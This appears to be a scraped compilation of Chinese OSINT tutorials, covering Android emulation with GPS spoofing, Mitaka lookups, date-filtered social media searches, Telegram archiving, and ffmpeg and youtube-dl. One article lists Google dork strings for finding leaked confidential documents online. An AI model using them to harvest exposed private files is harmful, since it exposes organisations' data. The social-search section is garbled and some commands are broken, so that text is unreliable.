好酷！当然，您可以调整一些 Folium 代码以显示地图中的各种数据，或者输入不同的 SQLite 文件，并查看您可以创建哪种酷炫的可视化。

您还可以探索从 geoip2 模块返回的其他字段，以输出城市和国家。也许你可以真正想象并抽出一个可以导入其他工具的 CSV 文件。全世界都在你的菜！■

感谢帮助 ***iYouPort! PayPal*** 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

如何在您的 PC 上创建 Android 开源研究设备？ #OSINT 安全性工具 🔍 - iYouPort

开源情报-每个人都可用的武器

手机是危险的东西，尤其是当您做深度调查和研究的时候——如果您的调查主题将具有能够撼动权力关系的伟大意义，保密其过程是至关重要的.....🔍 如果有一种办法能做到既安全，又省钱，你想不想要？

大多数数字研究可以在台式机或笔记本电脑上完成，而不会出现任何问题; 但是，有时您可能需要使用移动设备才能使用特定的应用程序。本指南将提供有关在 PC 上设置虚拟 Android 设备以进行开源调查研究的演练。在 Mac 上也可以进行 Android 模拟，只是需要不同的应用程序。

那么，为什么要设置 Android 虚拟设备来进行开源调查呢？大多数人可以将实际的手机或网络应用程序用于相同的目的，但有一些理由您必需知道：

- 隐私—— 在您自己的手机上进行研究时，您必须考虑是否在意外的情况下广播了您的个人信息。如果您的调查主题将具有能够撼动权力关系的伟大意义，保密是至关重要的。在 Android 虚拟设备上，您可以匿名，不使用您的个人设备、帐户或电话号码进行研究。
- **GPS** 欺骗—— 虽然您可以在真实手机或平板电脑上做到欺骗位置信息，但在 Android 虚拟设备上这样做会非常容易。如本指南中所述，您可以输入要访问各种应用程序信息的任何坐标。
- 省钱—— 设置 Android 虚拟设备的一个特别简单的原因是，您无需购买另一部手机来进行研究，无论您是否拥有 iPhone，或者想要购买第二台 Android 设备以便与您的真实电话号码和帐户分开。

安装：**Genymotion** 和 **VirtualBox**

对于本指南，我们将使用 Genymotion 在 Windows 上设置 Android 虚拟设备。我们在本指南中使用了 Windows 10，如果您使用的是其他版本，则结果可能会有所不同。

Genymotion 是 Windows 上比较流行的 Android 模拟程序之一，主要由应用程序开发人员使用。但是，有一个免费版本的程序供个人使用（主要用于游戏）。该程序运行 Oracle 的 VirtualBox 程序，该程序需要与 Genymotion 一起安装。

首先，在此处找到一个供个人使用的 Genymotion 帐户。务必在使用类型字段中选择“游戏”。您需要输入真实的电子邮件地址才能进行确认步骤。

「图」

「图」

注册和帐户验证后，在 30 天试用和购买选项下方选择“下载 Genymotion 供个人使用”链接。

「图」

「图」

在跟随此链接后，您需要再点击几下以获取安装文件。

「图」

「图」

如果您尚未安装 Oracle 的 VirtualBox 程序，则需要选择第一个较大的文件，Genymotion 会运行该程序。

「图」

「图」

「图」

「图」

根据您的 Windows 安全设置，您的计算机可能会在安装 VirtualBox 软件时发生轻微的恐慌。如果要使用 Genymotion，则需要提供安装

程序的权限。

「图」

「图」

安装 VirtualBox 和 Genymotion 后，您需要从使用通知对话框中选择“个人使用”。

「图」

「图」

恭喜！您已经安装了 Genymotion，成功已经一半了。

设置 **Android** 虚拟设备

在 Genymotion 上，您可以设置多个 Android 虚拟设备来模拟特定设备，包括手机和平板电脑。我们在此演练中设置了 Pixel 2 XL 虚拟设备，但您也可以设置自定义 Android 设备，Samsung Galaxy 或其他一系列选项。在特定应用程序存在兼容性问题的情况下，使用不同版本的 **Android** 设置虚拟设备可能很有用。

「图」

「图」

「图」

「图」

您需要使用 Genymotion 帐户登录才能访问其虚拟设备数据范围。

「图」

「图」

「图」

「图」

GAPPS

Android 虚拟设备在没有访问 Google Play 应用商店的情况下无法用于研究目的。我们建议您仅为虚拟设备设置新的 Gmail 帐户。

为将来的 Google Play 下载设置 Gmail 帐户后，请点击 Genymotion 用户界面右上角的“打开 GApps”按钮。在其他关于设置 Android 虚拟设备的指南中，例如来自 IntelTechniques 的优秀指南，Genymotion 没有准备好 GApps，于是相比下这个过程对我们来说更加轻松。

「图」

「图」

单击 GApps 按钮将向您发送一些下载和安装过程。最终，您的虚拟设备将重新启动，GApps 处于活动状态。现在，您可以使用 Gmail（或您使用的任何其他服务）地址浏览 Google Play 商店，并将应用程序安装到虚拟设备上。

安装和使用应用程序

与真实手机一样，您可以通过 Google Play 商店在 Android 虚拟设备上搜索并安装应用。例如，您可以轻松地搜索并安装 Whisper 应用程序。

「图」

「图」

但是，默认情况下，您的虚拟设备不会启用任何 GPS 位置，因此像 Whisper 这样的应用程序几乎无用。不过这正是有趣的地方。

「图」

「图」

在 Genymotion 用户界面的右上角，在电池图标下方，选择“GPS”按钮。

「图」

「图」

此按钮将弹出一个新框，允许您输入精确的坐标以进行欺骗。在这

里，我们放入了中央公园的坐标。重置 Whisper 应用程序后，我们将找到一个在纽约市附近的欺骗坐标。

「图」

「图」

「图」

「图」

Snapchat 问题

大多数应用程序在您的虚拟设备上运行良好; 但是，也有例外。特别是 Snapchat 目前不适用于 Genymotion。在其他一些 Android 模拟器中，例如 BlueStacks，您可以安装和启动 Snapchat，但该应用程序不允许您使用“假”手机登录。Snapchat 可能会在 Genymotion 和其他模拟器的未来更新中实现，但就目前而言，可能让它在虚拟设备上工作更麻烦。

「图」

「图」

结论

虽然使用 Genymotion 进行 Android 虚拟设备并不是一个完美的解决方案，但大多数应用程序都能正常运行，并且可以轻松欺骗 **GPS** 坐标，以最大化新闻采集和验证功能。此外，您还可以增加一层信心，确保您的设备或帐户不会受到损害或被窥探，尤其是对于可疑组织开发的某些应用程序。

如果您对本指南有任何建议、意见或更正，欢迎在回复中提出。此外，如果您对在开源调查、信息收集或验证中特别有用的应用程序有任何建议，也请发送。

广告

原文

如何在浏览器内执行开源情报调查以识别恶意软件、可疑网站、检查邮件等 - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身

【2020年11月11日存档】很容易使用的工具

网络浏览器扩展是开始使用开源情报工具的最简单方法之一，因为它们是跨平台的，因此在 Linux、macOS 和 Windows上 使用 Chrome 的任何人都可以一样使用它们。火狐浏览器也是如此。

本文将介绍一个桌面浏览器插件，让开源情报调查只需要右键单击即可搜索哈希、电子邮件地址和URL等。

Mitaka 由 Manabu Niseki 创建，可在 Google Chrome 和 Mozilla Firefox 中使用。安装后，它可以让您选择并检查某些文本和入侵指标（IoC），通过各种不同的搜索引擎运行它们，所有这些都只需点击几下即可做到。

该工具可以帮助调查人员识别恶意软件，确定电子邮件地址的可信度，并查看一个URL是否与任何可疑的东西相关联，这是仅举几例。

在浏览器中安装 **Mitaka**

如果您以前安装过任何浏览器扩展，您就知道该怎么做。即使没有装过，也是非常简单的。只要在 Chrome 网络商店或 Firefox 插件中访问 Mitaka，点击 “添加到 Chrome” 或 “添加到Firefox”，然后选择 “添加” 就行了。

然后，一旦您在一个网站上或您正在调查的电子邮件中发现了一些感兴趣的东西，您需要做的就是选中并右键单击它，然后在菜单中查看 Mitaka 提供的所有选项。

在 Mitaka 的GitHub页面上，有几个值得尝试的例子，可以看到 Mitake 有多好用。

示例**1**：检查电子邮件地址

每当您看到怀疑为恶意的电子邮件地址时，无论它是被编辑的（模糊化了因此无法单击）还是可单击的，都可以突出显示它，然后右键单击，选择“ Mitaka”。 如果它是被编辑的，这通常意味着把[.]放在句点的地方，以打破链接，Mitaka 将重新组装它，以便您执行的任何搜索仍然有效。

在 Mitaka 菜单中，您会看到各种您可以用来检查和调查电子邮件地址的工具。您可以在 Censys、PublicWWW、DomainBigData、DomainWatch、EmailRep、IntelligenceX、OCCPR、RiskIQ、SecurityTrails、ThreatConnect、ThreatCrowd 和 ViewDNS 上进行搜索。例如，如果您想了解该电子邮件的声誉，就选择 “Search this email on EmailRep”。

从结果可以看出，test @ example.com 可能是不值得信任的。实际上从该报告中可以看到它已被列入黑名单并被标记为恶意活动。

因此，如果您发现或收到一个以这种方式标记的电子邮件地址，就能够非常迅速地确定它与某个被列入恶意软件黑名单的人有关，或者可能是类似网络钓鱼的东西，这将是识别风险发件人或用户的绝佳方式。

相反，假设您想要确定拥有该电子邮件地址的是否是一个真实的人，可以采用格式正确的电子邮件地址，右键单击它，选择“ Mitaka”，然后使用相同的 EmailRep 工具进行检查。

从报告中可以假设这可能是一个真实的人，因为该电子邮件地址已经在互联网上的27个著名来源中看到，包括 Vimeo、Pinterest 和 Aboutme。在代码中可以看到所有与该邮件地址相关联的不同类型的高质量资料信息，这进一步证明了该账号的真实性。

示例**2**：对文件执行恶意软件分析

恶意软件分析是 Mitaka 武器库中另一个令人兴奋的功能。比方说，您在一个网站上有一个文件想要下载。您以前听说过这个工具，它看起来很有信誉，而且网页应用似乎也不错。一旦您下载了文件，就可以将哈希值与网站上列出的哈希值进行比较。如果匹配，就证明是真的。

如果病毒扫描程序无法在计算机上捕获它，也始终可以获取网站上文

件的哈希值，右键单击它，选择“ Mitaka”，然后使用 VirusTotal 这样的功能。 该扫描器可以通过查看哈希值并尝试找出它是否可能损害您的计算机来识别潜在可疑文件。

在本案例中您可以看到，有多个检测显示这是一个 macOS 加密货币矿机。所以，即使它没有被 Avast 和其他一堆相当有信誉的恶意软件扫描器检测到，Mitaka依旧可以帮您识别。

所以，正如您所看到的，Mitaka 是一个相当有效的方法，以检查您在网络上遇到的文件是否已经被标记为做坏事的工具，如 VirusTotal 或其他数据源。可以从菜单中用于此类搜索的包括 Censys、PublicWWW、ANY.RUN、Apklab、Hashdd、HybridAnalysis、InQuest、Intezer、JoeSandbox、MalShare、Maltiverse、MalwareBazaar、Malwares、OpenTIP、OTX、Pulsedive、Scumware、ThreatMiner、VirusTotal、VMRay、VxCube 和 X-Force-Exchange。

示例**3**：查看一个站点是否可疑

您还可以用 Mitaka 进行URL搜索。如果您您正在查看一个大数据转储，或者只是想看看网页或电子邮件上的某个URL是否已经被识别出一些可疑的东西，可以右键单击链接，选择“Mitaka”，然后选择其中一个工具。

适用于此类搜索的工具包括 Censys，PublicWWW，BinaryEdge，crt.sh，DNSlytics，DomainBigData，DomainTools，DomainWatch，FOFA，GoogleSafeBrowsing，GreyNoise，Hashdd，HurricaneElectric，HybridAnalysis，IntelligenceX，Maltiverse，OTX，Pulsedive，RiskIQ，Robtex， Scumware，SecurityTrails，Shodan，SpyOnWeb，Spyse，Talos，ThreatConnect，ThreatCrowd，ThreatMiner，TIP，URLhaus，Urlscan，ViewDNS，VirusTotal，VxCube，WebAnalyzer 和 X-Force-Exchange。

对于本测试来说只检查 Censys。

在本案例中搜索到的域与一些可疑的东西有关。可以看到它被用于不良查询和其他各种令人担忧的活动，可以假设它可能不是一个由正经公司或组织拥有的域。

这可能只是一个希望通过自己的网络空间赚更多钱的人做的。还可以

看到它使用的是Amazon系统，这意味着它也许只是租用的。所有这些数据都表明，这可能不是个正经网站，也许不像您想要的那样合法。

还有更多值得探索的地方

这里介绍的只是非常基本的用例，但正如您所看到的，您可以使用简单的右键菜单以很多方式来调查互联网上的线索。 Mitaka 真正出色的地方在于它能够检测不同类型的数据，以便上下文搜索选项可以满足正确的信息。

如果要开始使用 Mitaka，您应该浏览所有不同的数据类型，在网站或电子邮件上突出显示某些内容，然后右键单击并选择 Mitaka 搜索。 有很多可用的资源，一开始可能会让人不知所措，但这仅意味着 Mitaka 是一种有价值的工具，点击几下就可以进行大量有用的搜索。〇

Use Mitaka to Perform In-Browser OSINT to Identify Malware, Sketchy Sites, Shady Emails & More

原文

如何在社交媒体上查找照片并按日期过滤：开源情报思考方式 - iYouPort

开源情报-每个人都可用的武器

这是追踪大型群体事件、自然/人为灾害、暴力和战争之真相的有用技巧，也是验证信息真伪的常用方法

「图」

「图」

在开源调查期间，经常会需要查找特定日期特定位置所拍摄的图片；也或许是一系列日期。

本文想要讨论的是：如何使用 Google 和 YouTube、Facebook 和 Instagram 在特定时间点从特定位置查找视觉证据。

Facebook（以及一个新的功能较少的二代图谱搜索）

很多调查者仍然能记得过去的好日子，你可以轻松地在 URL 栏中输入类似这样的搜索查询来查找 Facebook 上隐藏的内容：https://www.facebook.com/search/39875583837/photos-in

在这里，您告诉 Facebook 在纽约时代广场搜索图片，这就是所谓的图谱搜索最简单的方式。

但是，正如您在单击该链接时会注意到的那样，它不再起作用了。因为《Facebook 正在令真相挖掘事业陷入困境》。

自2019年6月以来，Facebook 对这些搜索的执行方式进行了重大改变。

幸运的是，Henk van Ess、Dan Nemec 和 “sowdust” 在更新现有工具方面做出了一些努力，并告知记者、调查人员和其他民间真相爱好者如何使用重新构建的图谱搜索来执行这些查询。

在 **Facebook** 上搜索视频和图片

现在实践一下，看看如何找到在时代广场拍摄的并于2018年1月1日上传到 Facebook 的视频。

打开 Facebook 帐户并输入“时代广场”，然后告诉它想要寻找视频，然后选择日期。

「图」

「图」

马上就遇到了第一个问题。你只能选择一个年份和一个月份，而不是确切的日期（例如2018年1月1日）。

这不是一个大问题，因为在视频下面有日期，我们可以快速浏览它们并转到1月1日上传的内容上。

「图」

「图」

然而，这显然很烦人，可能浪费你很多时间。特别是对于那些每天都有数千人参观的热门地点来说，视频和照片绝对是海量的。

此前 sowdust（github）找到了一个方法可以简化操作，现在我们来深入了解一下。

这里将首先关注从时代广场寻找视频。完整且有效的 URL 是这样的：

https://graph.tips/facebook.html and https://sowdust.github.io/fb-search/

这基本上会将您引入同一页面。

打开页面后，您需要执行以下操作：#从第一个下拉菜单中选择“视频”。

1. sowdust.github.io/fb-search/

- graph.tips/facebook.html

1. Enter the URL, we'll use https://www.instagram.com/explore/locations/95099702/mgm-grand-las-vegas/

- Enter the date, we'll use October 14, 2016. It must be in this format 1999/7/27. No zeros.
- After you press enter you will get this URL.

https://www.instagram.com/explore/locations/95099702/mgm-grand-las-vegas/?max_id=1361215877650841600

1. 转到 Google 并输入 site：youtube.com，这将取消除了 YouTube 之外的所有网站的结果；

- 现在输入您的关键字“istiklal caddesi”；
- 您必须按这样：工具」任意时间」自定义范围；
- 现在指定您要搜索的内容的时间段，我将搜索：2016年10月13日—2016年10月15日。

1. 《信息验证技巧：如何确定照片的拍摄时间？》

- 《让阴影说话：开源调查小游戏》

还是那句话，多练习，思考是很有趣的事:) ○

广告

原文

如何在线搜出机密信息：小游戏 - iYouPort

开源情报-每个人都可用的武器

嘘嘘，我有一个秘密，你不能告诉任何人……

「图」

「图」

正如 Thomas Powers 所说的："保守秘密的第一条规则就是，不要在纸面上留下任何东西：记录可能丢失或被盗，或者只是流入了错误的人手里；如果你真的想保守秘密，从一开始就不要把它写下来。"

但是，对于纸来说，你可以烧掉；而对于计算机来说，很多时候你无法真正清除它。

如今越来越多的人不再使用纸了。

每家公司都在努力保护他们的数据，也在努力培训员工如何充分做到这一点。他们还会使用很多工具来防止可能的数据泄漏。

但这是防不胜防的。

这些信息有很多方法可以在互联网上泄露。

有时机密信息会被故意泄露，有时会因人为错误而泄露，有时因技术错误而泄露。

但是，正如您所知道的，"在网上发布的所有内容都会永远存在，即使您自己觉得已经删除了。"

因此，将技术和人为错误的可能性结合起来时，结果就是机密信息可以轻松出现在 Google 上。

我们曾经介绍过这个玩法，详见《高级运算符辅助开源调查：巧用搜索引擎挖掘情报 #OSINT》

机密信息

俗话说的没错，只要你搜得对，就没有找不到的东西。

「图」

「图」

你需要做的第一件事就是定位与搜索最相关的关键字。

在本文的案例中您可以定位的关键字有很多，比如：机密；仅限内部使用；不分发；不得公开发行；classified; document is private, 等等。

你想要找哪个国家的机密信息，就使用其官方语言搜索。

在搜索机密数据时创建字符串非常简单，只需为该搜索生成一个最佳关键字列表。

比如这样 **(“confidential” OR “internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”)**

您可以添加当前年份结合更多运算符，如 intitle：，这应该在页面标题中找到2019的所有页面。

比如这样 **(“confidential” OR “internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”) intitle:2019**

如果你希望定位更多年份，可以添加更多 intitle：。

这样 **(“confidential” OR “internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”) (intitle:2018 OR intitle:2019)**

还可以将 inurl: 与 intitle: 结合使用。

这样 **(“confidential” OR “internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”) (intitle:2019 OR inurl:2019)**

还可以尝试定位文件类型。这就是 filetype: 派上用场的地方。

这样 **filetype:pdf (“confidential” OR “internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”)**

使用更为通用的关键字如“机密”时，将获得包含该关键字的大量结果。无疑，这里面会有很多不相关的结果，这就是为什么不推荐使用它。

例如 **filetype:pdf (“internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”)**

如果您想使用一些高级字符串，只需添加更多运算符或关键字。

这样 **filetype:pdf (“internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”) (sourcing AND recruitment)**

您还可以使用 site: 运算符来定位特定站点。

这样 **site:com (“internal use only” OR “not for distribution” OR “not for public distribution” OR “classified”)**

这只定位.com 域名。例如，如果您想定位来自德国的域名，只需将 site：com 替换为 site：de。

结论

保守秘密的最好方法是假装没有秘密。

不要添加以下任何相关的关键字：如 机密、限内部使用、不分发、不得用于公开发行等等一切。

如果您必需在自己的文档或演示文稿中使用这些单词或短语，可以使用一个简单的技巧来保护这些文档。

将文本“仅限内部使用”和类似的警告替换为该文本的图像。

搜索引擎机器人无法对文件中包含的图像运行OCR（光学字符识别）。

而且因为他们无法阅读照片中的文字，搜索意外泄露机密信息的人不会在网上找到你的文件。

反过来看，如果您希望揭露的对手了解上述策略，或者压根儿非常落后数字化程度很低，那么您只能期待透明度革命后继有人了。〇 广告

原文

如何存档 telegram 内容 - iyouport

开源情报-每个人都可用的武器

很简单，非技术用户也可以轻松完成。

Telegram 在俄语国家的互联网上非常流行。由于 Facebook 被封锁，Twitter 被限制，现在它成了俄罗斯互联网用户完全可以使用的最后一个社交网络应用之一。

自俄罗斯入侵乌克兰以来，Telegram成为了获取战争相关信息的重要工具 —— 普通乌克兰人定期发布视频和照片，证明战争造成的破坏规模。这些材料能够帮助确定对平民的多次袭击的地理位置，并确定俄罗斯军队使用集束弹药的情况。

但目前俄罗斯和乌克兰的网络媒体环境非常不稳定。将内容存档，可以确保在用户删除帖子、频道被删除或整个平台无法访问的情况下，研究人员仍然可以使用这些内容。对于任何类型的互联网内容，链接会随着时间的推移而失效，这种现象被称为 “链接腐烂”。存档内容可以将其保存多年。

2 月 25 日，Telegram 频道@MariypolCalling 发布了一段俄罗斯军队在入侵前的调度视频。在撰写本文时，由于假定的审核操作，该帖子不再可见。来自乌克兰马里乌波尔的telegram帖子示例，已被版主删除

如果你在看到它时就把它存档了，就不会担心这种情况。

这是因为 Telegram 是最容易存档的通信平台之一，也是最后一个可以保存图像元数据的平台 —— 这对用户来说有隐私风险，但对开源情报研究者来说往往是个福音。Telegram 的聊天记录导出格式也使其很容易使用谷歌翻译来翻译整个频道。即使是对于非技术用户，步骤也非常简单。

如何存档一个特定的帖子、图片或视频

「图」

存档媒体的最简单方法是使用 Telegram 桌面应用程序，该程序可用于 Windows、Mac 和 Linux。然后，您可以通过简单地在图片或视频上点击右键并点击 “另存为… ” 来保存媒体。如果图片被附在文件中，它也将包含所有原始元数据。

您可以在 Telegram 应用程序中查看任何信息，即使您不是某群组的成员，也可以这样做。如果您有一个格式为 https://t.me/euronews_tr/2011 的帖子的URL， “VIEW IN CHANNEL” 将允许你在 Telegram 应用程序中打开它。

此外，明智的做法是对原始帖子进行截图，以保存时间戳、用户，并记住您是在哪里找到的媒体项目。更进一步的，您可以通过转发到 Show Json Bot 并将返回的 JSON 内容保存在一个单独的文本文件中，来保存整个帖子内容和元数据的完整副本。

请注意，敏感的或私人的信息永远不应该被转发给机器人。保存元数据很有用，因为它包含了帖子中尽可能多的信息，包括用户ID、聊天ID和完整的时间戳。

如何存档整个频道或群组

「图」

Telegram 超越了其他聊天平台，它的特点是可以导出整个聊天记录，包括文件和媒体在内的人可读和机器可读的格式。然而，这一功能在Mac OS上是不可用的。如果您使用 Mac 或 Linux，最简单的方法是使用 Windows 虚拟机。VMWare Fusion 为非商业用户提供免费许可，关于如何使用它的指南可以在这里找到。

首先，在 Telegram 应用程序中通过从对话中选择或搜索来打开一个聊天。Telegram 的聊天可以是私人对话、频道（单个用户向听众广播）或群组（许多用户聊天）。有时公共频道会作为在线预览链接分享。如果您有一个这样的链接，格式为 https://t.me/s/[用户名]，点击该频道的用户名将提供一个在 Telegram 应用程序中打开它的选项，前提是您的计算机上安装了该平台。也可以使用这些预览网址来寻找某些隐藏在搜索结果中的频道。

在打开一个群组或频道的情况下（即使是您正在预览而没有关注的频道），点击右上角的菜单按钮并选择 “导出聊天记录”。

有几种导出设置可供选择。勾选每一个方框将导出频道中包含的所有媒体。最大化大小限制可以捕获尽可能多的媒体，但要注意，这可能会大大增加导出时间。

有两种格式可供选择，HTML或JSON。HTML格式是为人类可读而设计的。它可以在网络浏览器中打开，对人工审查最有用。JSON格式被设计为机器可读，在导出数据进行进一步分析时最有用。

您也可以指定一个日期范围。如果只想得到全部频道档案的一个子集，这可以加快进程。最后，点击“导出”开始导出过程。对于大型聊天历史记录，这可能需要几个小时。

要查看导出，在网络浏览器中打开 messages.html 文件即可。

不过目前还不能用这种技术导出频道评论。

如何翻译 Telegram 的信息

「图」

Telegram 最近在移动应用程序中增加了一个翻译功能。通过进入 设置」语言」在应用程序中显示翻译按钮，来激活该功能。要翻译一条信息，按住它就会弹出一个上下文菜单，然后选择“翻译”选项。

但是，利用这一功能，您一次只能翻译一条信息。

通过将聊天记录导出为 HTML（如上所述）并在谷歌浏览器中打开，可以一次性翻译整个频道的内容。如果 Chrome 浏览器没有提供翻译页面，您可以通过右键单击并选择“翻译成”（您喜欢的语言）来请求翻译。

数据抓取和API

「图」

对于高级用户来说，Telegram 的API也提供了非常开放的平台访问，使您能够轻松地对消息和媒体以及用户、频道和群组元数据进行存档。对于 Python 开发人员来说，Telethon 的API功能齐全，并且有完善的文档。

另一种下载 Telegram 消息的方法是使用非API的抓取工具。这种方法

可能比 Telegram 的原生导出功能更快，但它只适用于公共频道，不适用聊天群组。JustAnotherArchivist 的工具 snscrape 在这方面效果很好，可以试试看。〇

How to Archive Telegram Content to Document Russia's Invasion of Ukraine

原文

如何对视频进行开源情报调查和信息验证：推荐好用的工具 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年3月20日存档】介绍一个工具，侧重于调查和信息验证的使用方法

许多互联网调查和信息验证都涉及视频证据。能够捕获和分析视频内容是一项重要技能，尤其是在您的任务涉及识别人员或地点时。

对于视频信息的验证，我们经常会说“取一帧”进行反向图像搜索，但是人们往往很难手动抓取到关键帧。

您可以随时暂停视频以尝试查看感兴趣的细节，但是这可能会很慢且效率很低，尤其是当重要的细节仅持续一秒钟时。

本文将推荐一个工具，帮助您更简单地抓取到视频内容中的关键情报，以及对视频内容进行真伪验证。

FFMPEG 是一个简单但功能强大的工具，可让您从视频中提取每个帧并将其转换为PNG或JPG格式的静止图像。

它还允许您从视频文件中获取音频，以便您可以仔细收听和分析它。无需不断暂停即可找到所需的详细信息。nixintel进行了一个很好的总结。

安装和设定

「图」

FFMPEG 是在 Windows、Mac OS 和 Linux 上运行的免费命令行工具。每个平台上的安装和设置都不同，但之后的用法都是相同的。

下面逐一介绍。

Windows ——

建议您遵循这里的指南了解如何为 Windows 安装 FFMPEG，而不仅仅是重复别人写的东西。

只需记住从下载页面选择正确的版本即可。

除非您运行的是非常非常古老的 Windows 计算机，否则任何64位版本的都可以。另外，这里有一个很棒的视频指南：

Mac OS ——

FFMPEG 可以直接从终端安装并运行。如果您尚未安装 Homebrew，则需要先按照这里的指南进行操作。

安装完成后，打开一个终端并输入以下内容：

```
brew install ffmpeg
```

就行了。

Linux ——

FFMPEG 可能已经安装在您的 Linux 版本中了。要检查是否存在，请打开一个终端并输入：

```
which ffmpeg
```

如果已安装 FFMPEG，则会显示文件路径 (usually /usr/bin/ffmpeg)。如果未安装，则不会返回任何消息。

要将其安装在任何基于 Debian 的发行版中，例如 Ubuntu、Kali 或 Mint，只需在终端中输入以下内容：

```
sudo apt install ffmpeg
```

运行安装过程，您就完成了。

用法

「图」

FFMPEG 完全在命令行中运行。您输入的命令采用以下格式：

```
ffmpeg 「global options」 「input file options」 -i 「input file」 「output file options」 「output file」.
```

不要害怕，其实没那么复杂。**FFMPEG** 可以完成各种有用的任务；转换视频格式、调整视频大小、添加音频、删除音频、添加字幕、拆分和合并视频，以及其他许多操作 —— 但本指南将侧重于主题。

本文的目的是开源情报调查和信息验证。

同样重要的是要记住，与大多数其他命令行工具一样，FFMPEG 假定您已经在目标视频文件所在的文件夹中。您可以在 **-i** 后指定文件的路径，也可以使用 **cd** 移至您要进入的目录。

1）从视频中抓取帧

这是用于调查和分析视频的非常有用的技术。

从视频捕获静止图像允许使用反向图像搜索对其进行真伪验证，并允许对视频进行逐帧评估。它比您尝试在适当的时间点暂停视频并希望可以找到想要的东西要有效得多。

要捕获视频中的所有帧，请使用以下命令：

```
ffmpeg -i myvideo.mp4 img%06d.png -hide_banner
```

以下是命令中每个部分的作用，明白意思就容易记住了：

- **ffmpeg**—告诉计算机运行 ffmpeg
- **-i** 告诉 ffmpeg 输入文件的名称是什么，即 您要处理的视频
- **myvideo.mp4**—视频文件
- **img%06d.png**—静止图像的命名协议。这种语法意味着每个帧都将带有 img 标签。 %06d表示 img 后将跟随六位数字；因此，第一个仍然是 img000001.png，然后是 img000002.png，依此类推。 %04d 只能是四位数，依此类推。 .png 告诉 ffmpeg 您想要的静止图像的格式。如果您更喜欢 jpeg，请使用 .jpg。
- **-hide_banner** 抑制大量不必要的文本输出

一旦运行完成，您就会获得一个编号的 PNG 文件集合，视频中的每一帧都有一个图像。

这对于简短的视频来说很好，但是您很快就会得到并不需要的成千上万个几乎完全相同的帧。

例如，当我使用这种技术从视频中获取静止图像时，即使原始镜头只有14秒长，我最终还是获得了400多个静止图像！

不要着急，**FFMPEG** 允许您指定每秒要捕获多少帧。缺省情况下，它每秒捕获25帧，但是可以使用 **-r** 指定每秒应捕获多少帧：

```
ffmpeg -i myvideo.mp4 -r 1 img%06d.png -
hide_banner
```

因此，在此示例中，**-r** 的值为1。这意味着，视频的每一秒只捕获一帧。对于长度超过几秒钟的文件，这样更易于管理。

2）从视频中获取音频

FFMPEG 还允许您从视频中提取声音，以便可以将其与视频本身分开进行处理。

语法如下：

```
ffmpeg -i myvideo.mp4 -vn soundtrack.mp3
```

此命令告诉 ffmpeg 接收输入文件 **myvideo.mp4**，忽略所有视频内容（**-vn**），然后将声音输出到名为 **soundtrack.mp3** 的新文件中。

这将使您既保留原始视频文件，又保留了包含声音的单独mp3文件。

将其与 YouTube-DL 整合在一起

「图」

如果您忘记了关于 **YouTube-DL** 的使用方法，在这里回顾：《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》。

使用 YouTube-dl 捕获视频，然后使用 FFMPEG 将所有帧转换为图像文件、并提取音频，以便分别收听分析。

YouTube-dl 是很棒的互联网视频采集器，它与 Twitter 内容非常兼容。如果您以前从未使用过它，建议阅读上述指南。

下面是一个案例，结合使用这两种工具将一个14秒视频转换成更易于使用的方式 —— 这个视频是一个侦探挑战游戏的测试题目，它的问题是：该视频中的火车是开往哪里的。

以下是调查步骤。

1、使用 YouTube-DL 抓取视频，将其另存为 train_footage.mp4

```
$ youtube-dl

train_footage.mp4
```

2、抓取视频的每一帧并将其另存为PNG文件：

```
$ ffmpeg -i train_footage.mp4 img%06d.png -
hide_banner
```

3、翻录视频中的音频，并将其另存为单独的 mp3，称为 train_audio：

```
$ ffmpeg -i train_footage.mp4 -vn train_audio.mp3
```

事实证明，音频对于本案例来说没有帮助，但是，从其中一个视频帧中发现了在原始镜头中错过的一个重要细节：

当查看上面的静止图像时，建筑物后部的卫星天线清晰可见：

由于卫星天线通常指向赤道，因此可以确定照片的方位。天线朝南并正对着相机，因此拍摄者必须是面朝北的。

这意味着火车正在向西行驶，因此火车刚离开的轨道和车站必须是东西方向。

结合其他一些细节，可以使用上述信息来缩小位置范围。

视频是开动的火车上拍摄的，如果您没有看到那个天线，就会错过一个重要的验证细节。这就是准确提取帧的重要性。

其他任务

「图」

ffmpeg 的另一个简单任务就是调整视频大小，也就是说如果看不清的话可以改大一点，您需要做的就是在 **-s** 后指定新的分辨率：

```
ffmpeg -i video_input.mov -s 1024x576
video_output.mp4
```

另外，您可能要指定 **-c：a** 以确保输出文件的音频编解码器是正确的：

```
ffmpeg -i video_input.h264 -s 640x480 -c：a
video_output.mov
```

还有将音频转换为视频的方法。

使用单张照片（例如专辑封面）给它添加音频。

当您要将音频文件上传到除视频/图像之外不允许任何其他内容的网站时（例如 YouTube 和 Facebook），此功能非常有用。

这是一个例子：

```
ffmpeg -loop 1 -i image.jpg -i audio.wav -c:v
libx264 -c:a aac -strict experimental -b:a 192k -
shortest output.mp4
```

只需要改变编解码器（**-c:v** 指定视频编解码器，**-c:a** 指定音频编解码器）和你的文件的名称。

给视频添加字幕：

添加字幕的方法是这样的，输入以下内容：

```
ffmpeg -i video.mp4 -i subtitles.srt -c:v copy -
c:a copy -preset veryfast -c:s mov_text -map 0 -
map 1 output.mp4
```

当然，您可以指定所需的任何编解码器（以及与音频/视频相关的任何其他附加选项）。

更多详细功能的指南可以参见这里。〇

原文

如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具 - iyouport

开源情报-每个人都可用的武器

【2019年12月4日存档】尤其是突事件、大型群体事件、自然/人为灾害或战争的调查中，从社交网络上快速抓取视频的能力非常重要，不仅能了解并分析事态，而且可以即时验证虚假消息。

捕获和保存媒体内容是大多数开源情报OSINT调查的重要组成部分。

有很多工具可以做到这一点，但我最喜欢的是 YouTube-dl。

请忽略它的名字，它并不是只限于 YouTube 的；**YouTube-dl** 能够从一系列不同的网站快速抓取视频，包括：YouTube，Facebook，Twitter，LiveLeak 和许多其他网站。

它是一个命令行工具，它有很多选项（就是很多）可以从网上下载视频。

